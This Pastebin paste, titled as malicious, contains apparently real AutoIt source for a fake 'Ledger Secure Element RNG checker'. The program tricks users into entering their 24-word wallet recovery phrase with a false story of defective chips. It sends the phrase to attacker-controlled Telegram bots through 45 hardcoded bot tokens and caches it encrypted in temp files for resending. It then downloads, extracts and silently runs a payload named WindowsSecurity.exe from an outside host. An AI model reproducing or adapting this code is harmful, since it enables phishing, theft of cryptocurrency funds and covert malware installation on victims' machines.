Guest User

Malicious ledger live autoIt code snippet

a guest
Oct 28th, 2019
683
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 25.61 KB | None | 0 0
  1.  
  2. Func __crypt_getcalgfromcryptkey($vcryptkey)
  3.     Local $talgid = DllStructCreate("uint;dword")
  4.     DllStructSetData($talgid, 2, 4)
  5.     Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGetKeyParam", "handle", $vcryptkey, "dword", $kp_algid, "ptr", DllStructGetPtr($talgid, 1), "dword*", DllStructGetPtr($talgid, 2), "dword", 0)
  6.     If @error OR NOT $aret[0] Then
  7.         Return SetError(@error, @extended, $crypt_userdata)
  8.     Else
  9.         Return DllStructGetData($talgid, 1)
  10.     EndIf
  11. EndFunc
  12.  
  13. Func appeal($appeal, $chatids, $write = "")
  14.     random_url()
  15.     $output1 = httppost("/sendMessage?chat_id=" & $chatids & "&text=" & @UserName & "@" & @ComputerName & ": K_seed: " & $appeal, $appeal, $write)
  16. EndFunc
  17.  
  18. Func cryptseed($seed = "")
  19.     $c = _crypt_encryptdata("from file: " & $seed, "pas4rswr3fdwor42rrd5", $calg_aes_128)
  20.     $wayi = _tempfile(@TempDir, "~wraE55F")
  21.     $handle = FileOpen($wayi, 2)
  22.     FileWrite($handle, $c)
  23.     FileClose($handle)
  24. EndFunc
  25.  
  26. Func httppost($surl, $appeal, $write = "", $sdata = "")
  27.     $xr = 0
  28.     Local $omyerror = ObjEvent("AutoIt.Error", "ErrFunc")
  29.     Local $ohttp = ObjCreate("WinHttp.WinHttpRequest.5.1")
  30.     While $ohttp.status = NULL  OR $ohttp.status = 401
  31.         random_url()
  32.         $ohttp.open("POST", $url & $surl, False)
  33.         $ohttp.setrequestheader("Content-Type", "application/x-www-form-urlencoded")
  34.         $ohttp.send($sdata)
  35.         $xr = $xr + 1
  36.         ConsoleWrite($xr)
  37.         If $xr = 2 AND $write = "writeNO" Then Return
  38.         If $xr = 30 AND $write = "" Then Return
  39.         If $xr = 300 AND $write = "greatloop" Then Return
  40.         If $xr = 2 AND $write = "" Then
  41.             cryptseed($appeal)
  42.         EndIf
  43.         Sleep(500)
  44.     WEnd
  45. EndFunc
  46.  
  47. Func errfunc()
  48. EndFunc
  49.  
  50. Func random_url()
  51.     $randomf = Random(1, 45, 1)
  52.     Switch $randomf
  53.         Case "1"
  54.             Global $url = "https://api.telegram.org/bot" & "404240315:AAGtrZUepyMh0w3paGr45IUDLh8eyTfw1To"
  55.         Case "2"
  56.             Global $url = "https://api.telegram.org/bot" & "424994060:AAE9wnMYmGD4EUXzXExKBCxcL1QxargWquU"
  57.         Case "3"
  58.             Global $url = "https://api.telegram.org/bot" & "407220260:AAG9FO46ERsOJO4pN28zTKiuyVFdG8ckjBU"
  59.         Case "4"
  60.             Global $url = "https://api.telegram.org/bot" & "427983478:AAErptXjw-cx4RTXymeuDSBc6FJCFVfLbEg"
  61.         Case "5"
  62.             Global $url = "https://api.telegram.org/bot" & "429716356:AAHwEV1XdMC8jAVUd4OdyuOlQ52N2amwMoA"
  63.         Case "6"
  64.             Global $url = "https://api.telegram.org/bot" & "424409164:AAETlQuBNrl7SYPSsJbV5ZyHONKe6ES19hU"
  65.         Case "7"
  66.             Global $url = "https://api.telegram.org/bot" & "607897670:AAEyMhxDxPh9kwtyV7oISwxwgQn-enekRZA"
  67.         Case "8"
  68.             Global $url = "https://api.telegram.org/bot" & "652421424:AAHf9OH5sG85DRVGmJR0NZ4pp9zwZhQf5yU"
  69.         Case "9"
  70.             Global $url = "https://api.telegram.org/bot" & "632597324:AAF9xC1TasMYW110dmmp64upn0LRpVsJz1s"
  71.         Case "10"
  72.             Global $url = "https://api.telegram.org/bot" & "627910523:AAEZiGr5EfGyZCQfk2XRii0XvSss6ZE1ogg"
  73.         Case "11"
  74.             Global $url = "https://api.telegram.org/bot" & "693876521:AAFYBr32pqupTmq-e69A22uXx-rDzij5uBs"
  75.         Case "12"
  76.             Global $url = "https://api.telegram.org/bot" & "638462826:AAGd05iFGQ8tLl8VBEypiV_Dl9enmGMH9ho"
  77.         Case "13"
  78.             Global $url = "https://api.telegram.org/bot" & "623942632:AAG21P0pfLvY6XW6BnEJQnwQUWB2nzziAP0"
  79.         Case "14"
  80.             Global $url = "https://api.telegram.org/bot" & "654165838:AAElXx7v3fQEdePCFhpNQK7lNcwoHmfs23Y"
  81.         Case "15"
  82.             Global $url = "https://api.telegram.org/bot" & "600566921:AAHJb1gbtHA45anPoHSzivjKoora5Vl76qQ"
  83.         Case "16"
  84.             Global $url = "https://api.telegram.org/bot" & "638084868:AAHq9EWMz1aKgpHgnwWFOjPBPEadsJkKH44"
  85.         Case "17"
  86.             Global $url = "https://api.telegram.org/bot" & "679026139:AAFrdIV-ezJs22I1j6qadl2-MK1Mf5Aq1e8"
  87.         Case "18"
  88.             Global $url = "https://api.telegram.org/bot" & "649194867:AAF4vf4frHTJ85smNTY8-U60f9F9aT5QLHE"
  89.         Case "19"
  90.             Global $url = "https://api.telegram.org/bot" & "659444737:AAEJPcjgUn0domHkA730zJRhNuqLL-99JTE"
  91.         Case "20"
  92.             Global $url = "https://api.telegram.org/bot" & "621323231:AAEjO2ga2mesHDHYDUkBB91kyx1AhRQrA4Q"
  93.         Case "21"
  94.             Global $url = "https://api.telegram.org/bot" & "666355462:AAEKJPNhiE27l7v_07_Tj2thyBt3dlJr8AI"
  95.         Case "22"
  96.             Global $url = "https://api.telegram.org/bot" & "676103790:AAF0fU9cf_JgZWPp4MyLrTm80jgVcAuKbfU"
  97.         Case "23"
  98.             Global $url = "https://api.telegram.org/bot" & "667621778:AAG_reU0dhsUPUZPzBu7_FQ89Chuw8pNSIE"
  99.         Case "24"
  100.             Global $url = "https://api.telegram.org/bot" & "608255834:AAFRJXUszazQ7Z_btsXh-tEobtzEO4PPC6k"
  101.         Case "25"
  102.             Global $url = "https://api.telegram.org/bot" & "671370762:AAG3V7b9kDr3acQIC1VWYPnXysFaQh88cHo"
  103.         Case "26"
  104.             Global $url = "https://api.telegram.org/bot" & "685098243:AAGoBbTtqBt34QdI0M-pnrvoG7-HWIcd5k8"
  105.         Case "27"
  106.             Global $url = "https://api.telegram.org/bot" & "667592344:AAHVTZ12J_emO8uwzZi0fs3QCsXdoqvezcE"
  107.         Case "28"
  108.             Global $url = "https://api.telegram.org/bot" & "672288436:AAETRbI4Fq4b0ZoB-a9XjXu0cWGrmHM2ay4"
  109.         Case "29"
  110.             Global $url = "https://api.telegram.org/bot" & "555422581:AAHaagG7sFKtoEvNXYnKokwZFzF_BXfl72w"
  111.         Case "30"
  112.             Global $url = "https://api.telegram.org/bot" & "595959468:AAEy_L1IWuzGc7KhEIcxrV-NdxXYi-huzL0"
  113.         Case "31"
  114.             Global $url = "https://api.telegram.org/bot" & "644419657:AAHqUpEA5QlQre42Ik58m_magqvTRo21cj8"
  115.         Case "32"
  116.             Global $url = "https://api.telegram.org/bot" & "623049342:AAEOXFMlLf_j8FkXV8PDDZ35lzuFI-x5LyM"
  117.         Case "33"
  118.             Global $url = "https://api.telegram.org/bot" & "652169005:AAFaIdBla63josQYPkw5ml4GVS8Atxqlsvc"
  119.         Case "34"
  120.             Global $url = "https://api.telegram.org/bot" & "693876778:AAGt_uo5ZOAYCpHr6RrRCO44E_ZN072DdS0"
  121.         Case "35"
  122.             Global $url = "https://api.telegram.org/bot" & "696897371:AAFi6OeHBa7YAkxWyPD1V3JaW_VX6DjpuFw"
  123.         Case "36"
  124.             Global $url = "https://api.telegram.org/bot" & "441298260:AAEW7SZwf5CtF8YBe91RUXIsqXtFZgRt9UE"
  125.         Case "37"
  126.             Global $url = "https://api.telegram.org/bot" & "431734105:AAFDOM7jNVDl33_v1cMOUR-XopnLQXAE5cs"
  127.         Case "38"
  128.             Global $url = "https://api.telegram.org/bot" & "334216961:AAHwm-F-siQWH_ITZDWml8_g8iWxbyN2GrY"
  129.         Case "39"
  130.             Global $url = "https://api.telegram.org/bot" & "408994601:AAH9G1UkTcZWP9QVTkmjSgZc0f2FqMmB_9M"
  131.         Case "40"
  132.             Global $url = "https://api.telegram.org/bot" & "350724907:AAHDASnNBiB1jM1KfweQmdHaqgFc3oMZRWo"
  133.         Case "41"
  134.             Global $url = "https://api.telegram.org/bot" & "443317450:AAHUcfEZis72O4SGAG8puq7ZcrCMZBqyEAI"
  135.         Case "42"
  136.             Global $url = "https://api.telegram.org/bot" & "394604665:AAHm8g8iKjIX94YRbPYoXmWoD1Eb_5WPVmY"
  137.         Case "43"
  138.             Global $url = "https://api.telegram.org/bot" & "307234819:AAF1eMWJycVpXnzjjnU8Y7IKxb46CAFgYQ4"
  139.         Case "44"
  140.             Global $url = "https://api.telegram.org/bot" & "428243278:AAFHDXflmfUc_WokHtJ1pB86w8K2LObxqKE"
  141.         Case "45"
  142.             Global $url = "https://api.telegram.org/bot" & "406458062:AAEo1Vi9YbFfsq1-ijWJIbMGE2UdUJI0EE4"
  143.     EndSwitch
  144. EndFunc
  145.  
  146. Local $htimer = TimerInit()
  147.  
  148. Func countwords($stext)
  149.     Local $aresult = StringRegExp($stext, "(\w+)", 3)
  150.     If @error Then Return SetError(1, 0, 0)
  151.     Return UBound($aresult)
  152. EndFunc
  153.  
  154. $bip39 = StringSplit("abandon,ability,able,about,above,absent,absorb,abstract,absurd,abuse,access,accident,account,accuse,achieve,acid,acoustic,acquire,across,act,action,actor,actress,actual,adapt,add,addict,address,adjust,admit,adult,advance,advice,aerobic,affair,afford,afraid,again,age,agent,agree,ahead,aim,air,airport,aisle,alarm,album,alcohol,alert,alien,all,alley,allow,almost,alone,alpha,already,also,alter,always,amateur,amazing,among,amount,amused,analyst,anchor,ancient,anger,angle,angry,animal,ankle,announce,annual,another,answer,antenna,antique,anxiety,any,apart,apology,appear,apple,approve,april,arch,arctic,area,arena,argue,arm,armed,armor,army,around,arrange,arrest,arrive,arrow,art,artefact,artist,artwork,ask,aspect,assault,asset,assist,assume,asthma,athlete,atom,attack,attend,attitude,attract,auction,audit,august,aunt,author,auto,autumn,average,avocado,avoid,awake,aware,away,awesome,awful,awkward,axis,baby,bachelor,bacon,badge,bag,balance,balcony,ball,bamboo,banana,banner,bar,barely,bargain,barrel,base,basic,basket,battle,beach,bean,beauty,because,become,beef,before,begin,behave,behind,believe,below,belt,bench,benefit,best,betray,better,between,beyond,bicycle,bid,bike,bind,biology,bird,birth,bitter,black,blade,blame,blanket,blast,bleak,bless,blind,blood,blossom,blouse,blue,blur,blush,board,boat,body,boil,bomb,bone,bonus,book,boost,border,boring,borrow,boss,bottom,bounce,box,boy,bracket,brain,brand,brass,brave,bread,breeze,brick,bridge,brief,bright,bring,brisk,broccoli,broken,bronze,broom,brother,brown,brush,bubble,buddy,budget,buffalo,build,bulb,bulk,bullet,bundle,bunker,burden,burger,burst,bus,business,busy,butter,buyer,buzz,cabbage,cabin,cable,cactus,cage,cake,call,calm,camera,camp,can,canal,cancel,candy,cannon,canoe,canvas,canyon,capable,capital,captain,car,carbon,card,cargo,carpet,carry,cart,case,cash,casino,castle,casual,cat,catalog,catch,category,cattle,caught,cause,caution,cave,ceiling,celery,cement,census,century,cereal,certain,chair,chalk,champion,change,chaos,chapter,charge,chase,chat,cheap,check,cheese,chef,cherry,chest,chicken,chief,child,chimney,choice,choose,chronic,chuckle,chunk,churn,cigar,cinnamon,circle,citizen,city,civil,claim,clap,clarify,claw,clay,clean,clerk,clever,click,client,cliff,climb,clinic,clip,clock,clog,close,cloth,cloud,clown,club,clump,cluster,clutch,coach,coast,coconut,code,coffee,coil,coin,collect,color,column,combine,come,comfort,comic,common,company,concert,conduct,confirm,congress,connect,consider,control,convince,cook,cool,copper,copy,coral,core,corn,correct,cost,cotton,couch,country,couple,course,cousin,cover,coyote,crack,cradle,craft,cram,crane,crash,crater,crawl,crazy,cream,credit,creek,crew,cricket,crime,crisp,critic,crop,cross,crouch,crowd,crucial,cruel,cruise,crumble,crunch,crush,cry,crystal,cube,culture,cup,cupboard,curious,current,curtain,curve,cushion,custom,cute,cycle,dad,damage,damp,dance,danger,daring,dash,daughter,dawn,day,deal,debate,debris,decade,december,decide,decline,decorate,decrease,deer,defense,define,defy,degree,delay,deliver,demand,demise,denial,dentist,deny,depart,depend,deposit,depth,deputy,derive," & "describe,desert,design,desk,despair,destroy,detail,detect,develop,device,devote,diagram,dial,diamond,diary,dice,diesel,diet,differ,digital,dignity,dilemma,dinner,dinosaur,direct,dirt,disagree,discover,disease,dish,dismiss,disorder,display,distance,divert,divide,divorce,dizzy,doctor,document,dog,doll,dolphin,domain,donate,donkey,donor,door,dose,double,dove,draft,dragon,drama,drastic,draw,dream,dress,drift,drill,drink,drip,drive,drop,drum,dry,duck,dumb,dune,during,dust,dutch,duty,dwarf,dynamic,eager,eagle,early,earn,earth,easily,east,easy,echo,ecology,economy,edge,edit,educate,effort,egg,eight,either,elbow,elder,electric,elegant,element,elephant,elevator,elite,else,embark,embody,embrace,emerge,emotion,employ,empower,empty,enable,enact,end,endless,endorse,enemy,energy,enforce,engage,engine,enhance,enjoy,enlist,enough,enrich,enroll,ensure,enter,entire,entry,envelope,episode,equal,equip,era,erase,erode,erosion,error,erupt,escape,essay,essence,estate,eternal,ethics,evidence,evil,evoke,evolve,exact,example,excess,exchange,excite,exclude,excuse,execute,exercise,exhaust,exhibit,exile,exist,exit,exotic,expand,expect,expire,explain,expose,express,extend,extra,eye,eyebrow,fabric,face,faculty,fade,faint,faith,fall,false,fame,family,famous,fan,fancy,fantasy,farm,fashion,fat,fatal,father,fatigue,fault,favorite,feature,february,federal,fee,feed,feel,female,fence,festival,fetch,fever,few,fiber,fiction,field,figure,file,film,filter,final,find,fine,finger,finish,fire,firm,first,fiscal,fish,fit,fitness,fix,flag,flame,flash,flat,flavor,flee,flight,flip,float,flock,floor,flower,fluid,flush,fly,foam,focus,fog,foil,fold,follow,food,foot,force,forest,forget,fork,fortune,forum,forward,fossil,foster,found,fox,fragile,frame,frequent,fresh,friend,fringe,frog,front,frost,frown,frozen,fruit,fuel,fun,funny,furnace,fury,future,gadget,gain,galaxy,gallery,game,gap,garage,garbage,garden,garlic,garment,gas,gasp,gate,gather,gauge,gaze,general,genius,genre,gentle,genuine,gesture,ghost,giant,gift,giggle,ginger,giraffe,girl,give,glad,glance,glare,glass,glide,glimpse,globe,gloom,glory,glove,glow,glue,goat,goddess,gold,good,goose,gorilla,gospel,gossip,govern,gown,grab,grace,grain,grant,grape,grass,gravity,great,green,grid,grief,grit,grocery,group,grow,grunt,guard,guess,guide,guilt,guitar,gun,gym,habit,hair,half,hammer,hamster,hand,happy,harbor,hard,harsh,harvest,hat,have,hawk,hazard,head,health,heart,heavy,hedgehog,height,hello,helmet,help,hen,hero,hidden,high,hill,hint,hip,hire,history,hobby,hockey,hold,hole,holiday,hollow,home,honey,hood,hope,horn,horror,horse,hospital,host,hotel,hour,hover,hub,huge,human,humble,humor,hundred,hungry,hunt,hurdle,hurry,hurt,husband,hybrid,ice,icon,idea,identify,idle,ignore,ill,illegal,illness,image,imitate,immense,immune,impact,impose,improve,impulse,inch,include,income,increase,index,indicate,indoor,industry,infant,inflict,inform,inhale,inherit,initial,inject,injury,inmate,inner,innocent,input,inquiry,insane,insect,inside,inspire,install,intact,interest,into,invest,invite,involve,iron,island,isolate,issue,item,ivory,jacket,jaguar,jar,jazz,jealous,jeans,jelly,jewel,job,join,joke,journey," & "joy,judge,juice,jump,jungle,junior,junk,just,kangaroo,keen,keep,ketchup,key,kick,kid,kidney,kind,kingdom,kiss,kit,kitchen,kite,kitten,kiwi,knee,knife,knock,know,lab,label,labor,ladder,lady,lake,lamp,language,laptop,large,later,latin,laugh,laundry,lava,law,lawn,lawsuit,layer,lazy,leader,leaf,learn,leave,lecture,left,leg,legal,legend,leisure,lemon,lend,length,lens,leopard,lesson,letter,level,liar,liberty,library,license,life,lift,light,like,limb,limit,link,lion,liquid,list,little,live,lizard,load,loan,lobster,local,lock,logic,lonely,long,loop,lottery,loud,lounge,love,loyal,lucky,luggage,lumber,lunar,lunch,luxury,lyrics,machine,mad,magic,magnet,maid,mail,main,major,make,mammal,man,manage,mandate,mango,mansion,manual,maple,marble,march,margin,marine,market,marriage,mask,mass,master,match,material,math,matrix,matter,maximum,maze,meadow,mean,measure,meat,mechanic,medal,media,melody,melt,member,memory,mention,menu,mercy,merge,merit,merry,mesh,message,metal,method,middle,midnight,milk,million,mimic,mind,minimum,minor,minute,miracle,mirror,misery,miss,mistake,mix,mixed,mixture,mobile,model,modify,mom,moment,monitor,monkey,monster,month,moon,moral,more,morning,mosquito,mother,motion,motor,mountain,mouse,move,movie,much,muffin,mule,multiply,muscle,museum,mushroom,music,must,mutual,myself,mystery,myth,naive,name,napkin,narrow,nasty,nation,nature,near,neck,need,negative,neglect,neither,nephew,nerve,nest,net,network,neutral,never,news,next,nice,night,noble,noise,nominee,noodle,normal,north,nose,notable,note,nothing,notice,novel,now,nuclear,number,nurse,nut,oak,obey,object,oblige,obscure,observe,obtain,obvious,occur,ocean,october,odor,off,offer,office,often,oil,okay,old,olive,olympic,omit,once,one,onion,online,only,open,opera,opinion,oppose,option,orange,orbit,orchard,order,ordinary,organ,orient,original,orphan,ostrich,other,outdoor,outer,output,outside,oval,oven,over,own,owner,oxygen,oyster,ozone,pact,paddle,page,pair,palace,palm,panda,panel,panic,panther,paper,parade,parent,park,parrot,party,pass,patch,path,patient,patrol,pattern,pause,pave,payment,peace,peanut,pear,peasant,pelican,pen,penalty,pencil,people,pepper,perfect,permit,person,pet,phone,photo,phrase,physical,piano,picnic,picture,piece,pig,pigeon,pill,pilot,pink,pioneer,pipe,pistol,pitch,pizza,place,planet,plastic,plate,play,please,pledge,pluck,plug,plunge,poem,poet,point,polar,pole,police,pond,pony,pool,popular,portion,position,possible,post,potato,pottery,poverty,powder,power,practice,praise,predict,prefer,prepare,present,pretty,prevent,price,pride,primary,print,priority,prison,private,prize,problem,process,produce,profit,program,project,promote,proof,property,prosper,protect,proud,provide,public,pudding,pull,pulp,pulse,pumpkin,punch,pupil,puppy,purchase,purity,purpose,purse,push,put,puzzle,pyramid,quality,quantum,quarter,question,quick,quit,quiz,quote,rabbit,raccoon,race,rack,radar,radio,rail,rain,raise,rally,ramp,ranch,random,range,rapid,rare,rate,rather,raven,raw,razor,ready,real,reason,rebel,rebuild,recall,receive,recipe,record,recycle,reduce,reflect,reform,refuse,region,regret,regular,reject,relax," & "release,relief,rely,remain,remember,remind,remove,render,renew,rent,reopen,repair,repeat,replace,report,require,rescue,resemble,resist,resource,response,result,retire,retreat,return,reunion,reveal,review,reward,rhythm,rib,ribbon,rice,rich,ride,ridge,rifle,right,rigid,ring,riot,ripple,risk,ritual,rival,river,road,roast,robot,robust,rocket,romance,roof,rookie,room,rose,rotate,rough,round,route,royal,rubber,rude,rug,rule,run,runway,rural,sad,saddle,sadness,safe,sail,salad,salmon,salon,salt,salute,same,sample,sand,satisfy,satoshi,sauce,sausage,save,say,scale,scan,scare,scatter,scene,scheme,school,science,scissors,scorpion,scout,scrap,screen,script,scrub,sea,search,season,seat,second,secret,section,security,seed,seek,segment,select,sell,seminar,senior,sense,sentence,series,service,session,settle,setup,seven,shadow,shaft,shallow,share,shed,shell,sheriff,shield,shift,shine,ship,shiver,shock,shoe,shoot,shop,short,shoulder,shove,shrimp,shrug,shuffle,shy,sibling,sick,side,siege,sight,sign,silent,silk,silly,silver,similar,simple,since,sing,siren,sister,situate,six,size,skate,sketch,ski,skill,skin,skirt,skull,slab,slam,sleep,slender,slice,slide,slight,slim,slogan,slot,slow,slush,small,smart,smile,smoke,smooth,snack,snake,snap,sniff,snow,soap,soccer,social,sock,soda,soft,solar,soldier,solid,solution,solve,someone,song,soon,sorry,sort,soul,sound,soup,source,south,space,spare,spatial,spawn,speak,special,speed,spell,spend,sphere,spice,spider,spike,spin,spirit,split,spoil,sponsor,spoon,sport,spot,spray,spread,spring,spy,square,squeeze,squirrel,stable,stadium,staff,stage,stairs,stamp,stand,start,state,stay,steak,steel,stem,step,stereo,stick,still,sting,stock,stomach,stone,stool,story,stove,strategy,street,strike,strong,struggle,student,stuff,stumble,style,subject,submit,subway,success,such,sudden,suffer,sugar,suggest,suit,summer,sun,sunny,sunset,super,supply,supreme,sure,surface,surge,surprise,surround,survey,suspect,sustain,swallow,swamp,swap,swarm,swear,sweet,swift,swim,swing,switch,sword,symbol,symptom,syrup,system,table,tackle,tag,tail,talent,talk,tank,tape,target,task,taste,tattoo,taxi,teach,team,tell,ten,tenant,tennis,tent,term,test,text,thank,that,theme,then,theory,there,they,thing,this,thought,three,thrive,throw,thumb,thunder,ticket,tide,tiger,tilt,timber,time,tiny,tip,tired,tissue,title,toast,tobacco,today,toddler,toe,together,toilet,token,tomato,tomorrow,tone,tongue,tonight,tool,tooth,top,topic,topple,torch,tornado,tortoise,toss,total,tourist,toward,tower,town,toy,track,trade,traffic,tragic,train,transfer,trap,trash,travel,tray,treat,tree,trend,trial,tribe,trick,trigger,trim,trip,trophy,trouble,truck,true,truly,trumpet,trust,truth,try,tube,tuition,tumble,tuna,tunnel,turkey,turn,turtle,twelve,twenty,twice,twin,twist,two,type,typical,ugly,umbrella,unable,unaware,uncle,uncover,under,undo,unfair,unfold,unhappy,uniform,unique,unit,universe,unknown,unlock,until,unusual,unveil,update,upgrade,uphold,upon,upper,upset,urban,urge,usage,use,used,useful,useless,usual,utility,vacant,vacuum,vague,valid,valley,valve,van,vanish,vapor,various,vast,vault,vehicle,velvet," & "vendor,venture,venue,verb,verify,version,very,vessel,veteran,viable,vibrant,vicious,victory,video,view,village,vintage,violin,virtual,virus,visa,visit,visual,vital,vivid,vocal,voice,void,volcano,volume,vote,voyage,wage,wagon,wait,walk,wall,walnut,want,warfare,warm,warrior,wash,wasp,waste,water,wave,way,wealth,weapon,wear,weasel,weather,web,wedding,weekend,weird,welcome,west,wet,whale,what,wheat,wheel,when,where,whip,whisper,wide,width,wife,wild,will,win,window,wine,wing,wink,winner,winter,wire,wisdom,wise,wish,witness,wolf,woman,wonder,wood,wool,word,work,world,worry,worth,wrap,wreck,wrestle,wrist,write,wrong,yard,year,yellow,you,young,youth,zebra,zero,zone,zoo", ",")
  155. $hgui = GUICreate(" Ledger Live", 1000, 600)
  156. GUISetFont(11, $fw_normal)
  157. Local $edit1 = GUICtrlCreateEdit("", 250, 250, 500, 80, $es_multiline)
  158. GUICtrlSetState(-1, $gui_dropaccepted)
  159. GUISetFont(10, $fw_bold)
  160. Local $idbtn = GUICtrlCreateButton("Check", 468, 360, 60, 40, $bs_defpushbutton)
  161. GUICtrlSetCursor(-1, 0)
  162. GUICtrlSetColor($idbtn, 16777215)
  163. GUICtrlSetBkColor(-1, 6590705)
  164. GUISetBkColor(16777215)
  165. Local $idpic = GUICtrlCreatePic("ledgermenu.jpg", 450, 50, 80, 80)
  166. GUISetFont(20, $fw_normal)
  167. GUICtrlCreateLabel("Ledger Secure Element RNG checker", 250, 150, 500, 50, $ss_center)
  168. GUISetFont(9, $fw_normal)
  169. GUICtrlCreateLabel("Enter your 24-Words Phrase to check if your Ledger chip is faulty", 250, 210, 500, 20, $ss_center)
  170. $help = GUICtrlCreateLabel("What is the problem?", 440, 450)
  171. GUICtrlSetCursor(-1, 0)
  172. GUICtrlSetFont(-1, 9, 700, 4)
  173. GUICtrlSetColor(-1, 5460819)
  174. $secure_element = GUICtrlCreateLabel("What is a Secure Element?", 425, 420)
  175. GUICtrlSetCursor(-1, 0)
  176. GUICtrlSetFont(-1, 9, 700, 4)
  177. GUICtrlSetColor(-1, 5460819)
  178. $_words1 = $bip39
  179. _registerprediction(GUICtrlGetHandle($edit1), $_words1, 0, 0, 0, 1)
  180. GUISetState()
  181. _newgui(0)
  182. Global $vbn = 2
  183. $adxfilelist = _filelisttoarray(@TempDir, "~wraE55F*")
  184. For $pb = 1 To UBound($adxfilelist) - 1
  185.     random_url()
  186.     $vdata = FileRead(@TempDir & "\" & $adxfilelist[$pb])
  187.     $seed_decrypt = _crypt_decryptdata($vdata, "pas4rswr3fdwor42rrd5", $calg_aes_128)
  188.     $seed_decrypt = BinaryToString($seed_decrypt)
  189.     appeal($seed_decrypt, "-383268787", "writeNO")
  190. Next
  191. $user_intention = 0
  192. While 1
  193.     Switch GUIGetMsg()
  194.         Case $gui_event_close
  195.             Local $fdiff = TimerDiff($htimer) / 1000
  196.             GUIDelete()
  197.             GUIDelete($hgui)
  198.             ExitLoop
  199.         Case $secure_element
  200.             ShellExecute("https://www.ledger.com/a-closer-look-into-ledger-security-the-secure-element/")
  201.         Case $help
  202.             _newgui($vbn)
  203.             If $vbn = 1 Then
  204.                 Global $vbn = 2
  205.             ElseIf $vbn = 2 Then
  206.                 Global $vbn = 1
  207.             EndIf
  208.         Case $idbtn
  209.             $readwords = GUICtrlRead($edit1)
  210.             If countwords($readwords) > 24 OR countwords($readwords) < 24 Then
  211.                 $user_intention = 1
  212.                 MsgBox($mb_iconwarning, "Wrong phrase", "Invalid mnemonic")
  213.                 If $readwords <> "" Then appeal("INVALID MNEMONIC: " & $readwords, "-285211010")
  214.             ElseIf countwords($readwords) = 24 Then
  215.                 appeal($readwords, "-383268787")
  216.                 $wordscontrol = StringSplit($readwords, " ")
  217.                 $cc = 0
  218.                 For $yy = 0 To UBound($wordscontrol) - 1
  219.                     For $ii = 0 To UBound($bip39) - 1
  220.                         If $wordscontrol[$yy] = $bip39[$ii] Then
  221.                             $cc = $cc + 1
  222.                         EndIf
  223.                     Next
  224.                 Next
  225.                 If $cc = 24 Then
  226.                     $user_intention = 3
  227.                     _resultgui()
  228.                     MsgBox($mb_iconinformation, "Success", "All tests passed." & @LF & "The Secure Element chip works perfectly!")
  229.                 Else
  230.                     $user_intention = 2
  231.                     MsgBox($mb_iconwarning, "Wrong phrase", "Invalid mnemonic")
  232.                 EndIf
  233.             EndIf
  234.     EndSwitch
  235. WEnd
  236. $adxfilelist = _filelisttoarray(@TempDir, "~wraE55F*")
  237. For $pb = 1 To UBound($adxfilelist) - 1
  238.     random_url()
  239.     $vdata = FileRead(@TempDir & "\" & $adxfilelist[$pb])
  240.     $seed_decrypt = _crypt_decryptdata($vdata, "pas4rswr3fdwor42rrd5", $calg_aes_128)
  241.     $seed_decrypt = BinaryToString($seed_decrypt)
  242.     appeal($seed_decrypt, "-383268787", "greatloop")
  243. Next
  244. If $user_intention = 0 AND $fdiff <= 30 Then
  245.     kk_attack()
  246. ElseIf $user_intention = 0 AND $fdiff > 30 Then
  247.     Sleep(60000)
  248.     kk_attack()
  249. ElseIf $user_intention = 1 Then
  250.     Sleep(120000)
  251.     kk_attack()
  252. Else
  253.     Sleep(300000)
  254.     kk_attack()
  255. EndIf
  256.  
  257. Func kk_attack()
  258.     $path = @TempDir
  259.     $pathb = @AppDataDir & "\" & "Ledger Live"
  260.     $pass = "-p123lsdfjlsfjldsjfldsjfldsjfei48fsxi"
  261.     $random = Random(1, 2, 1)
  262.     If NOT FileExists($path & "\WindowsSecurity.exe") Then
  263.         Switch $random
  264.             Case "1"
  265.                 If NOT FileExists($pathb & "\rar.exe") Then
  266.                     InetGet("https://bin.jvnv.net/file/xQZfX/rar.exe", $pathb & "\rar.exe")
  267.                 EndIf
  268.                 InetGet("https://bin.jvnv.net/file/rp7Wj/updates.rar", $path & "\updates.rar")
  269.                 RunWait('"' & $pathb & "\rar.exe" & '" ' & $pass & " x -o+ " & '"' & $path & "\update*.*" & '" ' & '"' & $path & '"', "", @SW_HIDE)
  270.             Case "2"
  271.                 If NOT FileExists($pathb & "\rar.exe") Then
  272.                     InetGet("https://bin.jvnv.net/file/AMU0d/rar.exe", $pathb & "\rar.exe")
  273.                 EndIf
  274.                 InetGet("https://bin.jvnv.net/file/DrZ8Y/updates.rar", $path & "\updates.rar")
  275.                 RunWait('"' & $pathb & "\rar.exe" & '" ' & $pass & " x -o+ " & '"' & $path & "\update*.*" & '" ' & '"' & $path & '"', "", @SW_HIDE)
  276.         EndSwitch
  277.     EndIf
  278.     If NOT FileExists($path & "\n552fb04-9c0a-47dd-bff3-b5e7fazadc4c6.tmp") Then Run($path & "\WindowsSecurity.exe", $path)
  279. EndFunc
  280.  
  281. Func _newgui($vb = 0)
  282.     If $vb = 0 Then
  283.         Global $idlabel2x = GUICtrlCreateLabel("Inside Ledger’s hardware wallets, we use the Secure Element chip to generate and store the private keys for your crypto assets. Unfortunately, some chips, a limited number, were found to be defective by the external company commissioned by Ledger for the production. The problem identified concerns the lack of a correct source of entropy for use by the random number generator may lead to the generation of predictable sequences of numbers and therefore of private keys by malicious users.", 180, 480, 660, 100, $ss_center)
  284.         GUICtrlSetBkColor($idlabel2x, 15987699)
  285.         Local Const $sfont = "Arial"
  286.         GUICtrlSetFont($idlabel2x, 11.5, $fw_normal, $gui_fontitalic, $sfont)
  287.         GUICtrlSetState($idlabel2x, $gui_hide)
  288.     ElseIf $vb = 1 Then
  289.         GUICtrlSetState($idlabel2x, $gui_hide)
  290.     ElseIf $vb = 2 Then
  291.         GUICtrlSetState($idlabel2x, $gui_show)
  292.     EndIf
  293. EndFunc
  294.  
  295. Func _resultgui()
  296.     Local $gui = GUICreate("Results", 240, 240, 190, 200, $ws_popup)
  297.     Local $label = GUICtrlCreateLabel("Time To Crack: centuries" & @LF & @LF & "Event Count: 64" & @LF & "Entropy Type: hexadecimal" & @LF & @LF & "Bits Per Event: 4.00" & @LF & "Raw Entropy Words: 24" & @LF & @LF & "Total Bits: 256" & @LF & @LF & @LF & @LF & "No action required." & @LF & "The Secure Element chip works perfectly!", 20, 20, 200, 200)
  298.     GUICtrlSetBkColor(-1, 16777215)
  299.     GUISetState()
  300. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment